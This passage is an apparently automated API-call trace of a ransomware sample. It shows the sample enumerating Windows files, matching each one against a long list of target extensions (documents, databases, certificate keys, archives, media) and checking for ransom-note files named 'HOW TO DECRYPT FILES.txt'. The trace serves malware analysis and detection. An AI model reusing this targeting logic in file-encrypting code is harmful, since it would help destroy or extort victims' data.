(pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.accdb") returned 0 [0124.375] lstrlenA (lpString="*.accdb") returned 7 [0124.375] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.odb") returned 0 [0124.375] lstrlenA (lpString="*.odb") returned 5 [0124.375] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.java") returned 0 [0124.375] lstrlenA (lpString="*.java") returned 6 [0124.375] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.asm") returned 0 [0124.375] lstrlenA (lpString="*.asm") returned 5 [0124.375] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.pfx") returned 0 [0124.376] lstrlenA (lpString="*.pfx") returned 5 [0124.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.pem") returned 0 [0124.376] lstrlenA (lpString="*.pem") returned 5 [0124.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.p12") returned 0 [0124.376] lstrlenA (lpString="*.p12") returned 5 [0124.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.gpg") returned 0 [0124.376] lstrlenA (lpString="*.gpg") returned 5 [0124.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.vsd") returned 0 [0124.376] lstrlenA (lpString="*.vsd") returned 5 [0124.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.odg") returned 0 [0124.376] lstrlenA (lpString="*.odg") returned 5 [0124.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.raw") returned 0 [0124.376] lstrlenA (lpString="*.raw") returned 5 [0124.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.nef") returned 0 [0124.376] lstrlenA (lpString="*.nef") returned 5 [0124.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.svg") returned 0 [0124.376] lstrlenA (lpString="*.svg") returned 5 [0124.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.psd") returned 0 [0124.376] lstrlenA (lpString="*.psd") returned 5 [0124.376] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.vmx") returned 0 [0124.377] lstrlenA (lpString="*.vmx") returned 5 [0124.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.vmdk") returned 0 [0124.377] lstrlenA (lpString="*.vmdk") returned 6 [0124.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.vdi") returned 0 [0124.377] lstrlenA (lpString="*.vdi") returned 5 [0124.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.lay6") returned 0 [0124.377] lstrlenA (lpString="*.lay6") returned 6 [0124.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.mpeg") returned 0 [0124.377] lstrlenA (lpString="*.mpeg") returned 6 [0124.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.djvu") returned 0 [0124.377] lstrlenA (lpString="*.djvu") returned 6 [0124.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.tiff") returned 0 [0124.377] lstrlenA (lpString="*.tiff") returned 6 [0124.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.backup") returned 0 [0124.377] lstrlenA (lpString="*.backup") returned 8 [0124.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.pdf") returned 0 [0124.377] lstrlenA (lpString="*.pdf") returned 5 [0124.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.cert") returned 0 [0124.377] lstrlenA (lpString="*.cert") returned 6 [0124.377] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.docm") returned 0 [0124.378] lstrlenA (lpString="*.docm") returned 6 [0124.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.xlsm") returned 0 [0124.378] lstrlenA (lpString="*.xlsm") returned 6 [0124.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.dwg") returned 0 [0124.378] lstrlenA (lpString="*.dwg") returned 5 [0124.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.nd") returned 0 [0124.378] lstrlenA (lpString="*.nd") returned 4 [0124.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.tlg") returned 0 [0124.378] lstrlenA (lpString="*.tlg") returned 5 [0124.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.lgb") returned 0 [0124.378] lstrlenA (lpString="*.lgb") returned 5 [0124.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.mov") returned 0 [0124.378] lstrlenA (lpString="*.mov") returned 5 [0124.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.xdw") returned 0 [0124.378] lstrlenA (lpString="*.xdw") returned 5 [0124.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.ods") returned 0 [0124.378] lstrlenA (lpString="*.ods") returned 5 [0124.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.wav") returned 0 [0124.378] lstrlenA (lpString="*.wav") returned 5 [0124.378] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.mp3") returned 0 [0124.378] lstrlenA (lpString="*.mp3") returned 5 [0124.379] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.aiff") returned 0 [0124.379] lstrlenA (lpString="*.aiff") returned 6 [0124.379] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.flac") returned 0 [0124.379] lstrlenA (lpString="*.flac") returned 6 [0124.379] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.m4a") returned 0 [0124.379] lstrlenA (lpString="*.m4a") returned 5 [0124.379] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.csv") returned 0 [0124.379] lstrlenA (lpString="*.csv") returned 5 [0124.379] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5326e270, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5326e270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5326e270, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x2ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Xml.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0124.379] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0124.379] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Xml.ni.dll.aux") returned -1 [0124.379] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Xml.ni.dll.aux") returned -1 [0124.379] lstrcmpiA (lpString1="", lpString2="System.Xml.ni.dll.aux") returned -1 [0124.379] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll") returned="System.Xml.ni.dll" [0124.379] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\" [0124.379] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\") returned="" [0124.379] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\HOW TO DECRYPT FILES.txt" [0124.379] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.xml\\6a565e7029d22fb974423ade195c819f\\how to decrypt files.txt")) returned 0x20 [0124.380] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\", lpString2="System.Xml.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux" [0124.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.ems") returned 0 [0124.380] lstrlenA (lpString="*.ems") returned 5 [0124.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.db") returned 0 [0124.380] lstrlenA (lpString="*.db") returned 4 [0124.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.dbf") returned 0 [0124.380] lstrlenA (lpString="*.dbf") returned 5 [0124.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.myox") returned 0 [0124.380] lstrlenA (lpString="*.myox") returned 6 [0124.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.myo") returned 0 [0124.380] lstrlenA (lpString="*.myo") returned 5 [0124.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.qbw") returned 0 [0124.380] lstrlenA (lpString="*.qbw") returned 5 [0124.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.qbb") returned 0 [0124.380] lstrlenA (lpString="*.qbb") returned 5 [0124.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.qbm") returned 0 [0124.380] lstrlenA (lpString="*.qbm") returned 5 [0124.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.qbo") returned 0 [0124.381] lstrlenA (lpString="*.qbo") returned 5 [0124.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.qbx") returned 0 [0124.381] lstrlenA (lpString="*.qbx") returned 5 [0124.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.qba") returned 0 [0124.381] lstrlenA (lpString="*.qba") returned 5 [0124.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.qby") returned 0 [0124.381] lstrlenA (lpString="*.qby") returned 5 [0124.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.qbj") returned 0 [0124.382] lstrlenA (lpString="*.qbj") returned 5 [0124.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.ofx") returned 0 [0124.382] lstrlenA (lpString="*.ofx") returned 5 [0124.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.qif") returned 0 [0124.382] lstrlenA (lpString="*.qif") returned 5 [0124.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.mye") returned 0 [0124.382] lstrlenA (lpString="*.mye") returned 5 [0124.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.mbox") returned 0 [0124.382] lstrlenA (lpString="*.mbox") returned 6 [0124.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.eml") returned 0 [0124.382] lstrlenA (lpString="*.eml") returned 5 [0124.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.pst") returned 0 [0124.382] lstrlenA (lpString="*.pst") returned 5 [0124.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.ost") returned 0 [0124.382] lstrlenA (lpString="*.ost") returned 5 [0124.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.idx") returned 0 [0124.382] lstrlenA (lpString="*.idx") returned 5 [0124.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.dbx") returned 0 [0124.383] lstrlenA (lpString="*.dbx") returned 5 [0124.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.sql") returned 0 [0124.383] lstrlenA (lpString="*.sql") returned 5 [0124.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.mdb") returned 0 [0124.383] lstrlenA (lpString="*.mdb") returned 5 [0124.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.fdb") returned 0 [0124.383] lstrlenA (lpString="*.fdb") returned 5 [0124.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.wab") returned 0 [0124.383] lstrlenA (lpString="*.wab") returned 5 [0124.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.dat") returned 0 [0124.383] lstrlenA (lpString="*.dat") returned 5 [0124.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.txt") returned 0 [0124.383] lstrlenA (lpString="*.txt") returned 5 [0124.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.jpeg") returned 0 [0124.383] lstrlenA (lpString="*.jpeg") returned 6 [0124.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.jpg") returned 0 [0124.383] lstrlenA (lpString="*.jpg") returned 5 [0124.384] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.png") returned 0 [0124.384] lstrlenA (lpString="*.png") returned 5 [0124.384] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.php") returned 0 [0124.384] lstrlenA (lpString="*.php") returned 5 [0124.384] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.cs") returned 0 [0124.384] lstrlenA (lpString="*.cs") returned 4 [0124.384] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.cpp") returned 0 [0124.384] lstrlenA (lpString="*.cpp") returned 5 [0124.384] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.rar") returned 0 [0124.384] lstrlenA (lpString="*.rar") returned 5 [0124.384] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.zip") returned 0 [0124.384] lstrlenA (lpString="*.zip") returned 5 [0124.384] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.html") returned 0 [0124.384] lstrlenA (lpString="*.html") returned 6 [0124.384] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.htm") returned 0 [0124.384] lstrlenA (lpString="*.htm") returned 5 [0124.384] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.xlsx") returned 0 [0124.385] lstrlenA (lpString="*.xlsx") returned 6 [0124.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.xls") returned 0 [0124.385] lstrlenA (lpString="*.xls") returned 5 [0124.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.mp4") returned 0 [0124.385] lstrlenA (lpString="*.mp4") returned 5 [0124.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.ppt") returned 0 [0124.385] lstrlenA (lpString="*.ppt") returned 5 [0124.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.pptx") returned 0 [0124.385] lstrlenA (lpString="*.pptx") returned 6 [0124.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.doc") returned 0 [0124.385] lstrlenA (lpString="*.doc") returned 5 [0124.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.dot") returned 0 [0124.385] lstrlenA (lpString="*.dot") returned 5 [0124.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.docx") returned 0 [0124.385] lstrlenA (lpString="*.docx") returned 6 [0124.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.7z") returned 0 [0124.385] lstrlenA (lpString="*.7z") returned 4 [0124.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.tar") returned 0 [0124.386] lstrlenA (lpString="*.tar") returned 5 [0124.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.bz2") returned 0 [0124.386] lstrlenA (lpString="*.bz2") returned 5 [0124.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.gz") returned 0 [0124.386] lstrlenA (lpString="*.gz") returned 4 [0124.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.mkv") returned 0 [0124.386] lstrlenA (lpString="*.mkv") returned 5 [0124.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.eml") returned 0 [0124.386] lstrlenA (lpString="*.eml") returned 5 [0124.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.msg") returned 0 [0124.386] lstrlenA (lpString="*.msg") returned 5 [0124.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.edb") returned 0 [0124.386] lstrlenA (lpString="*.edb") returned 5 [0124.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.accdb") returned 0 [0124.386] lstrlenA (lpString="*.accdb") returned 7 [0124.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.odb") returned 0 [0124.386] lstrlenA (lpString="*.odb") returned 5 [0124.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll.aux", pszSpec="*.java") returned 0 [0124.387] lstrlenA (lpString="*.java") returned 6 [0124.387] PathMatchSpecA 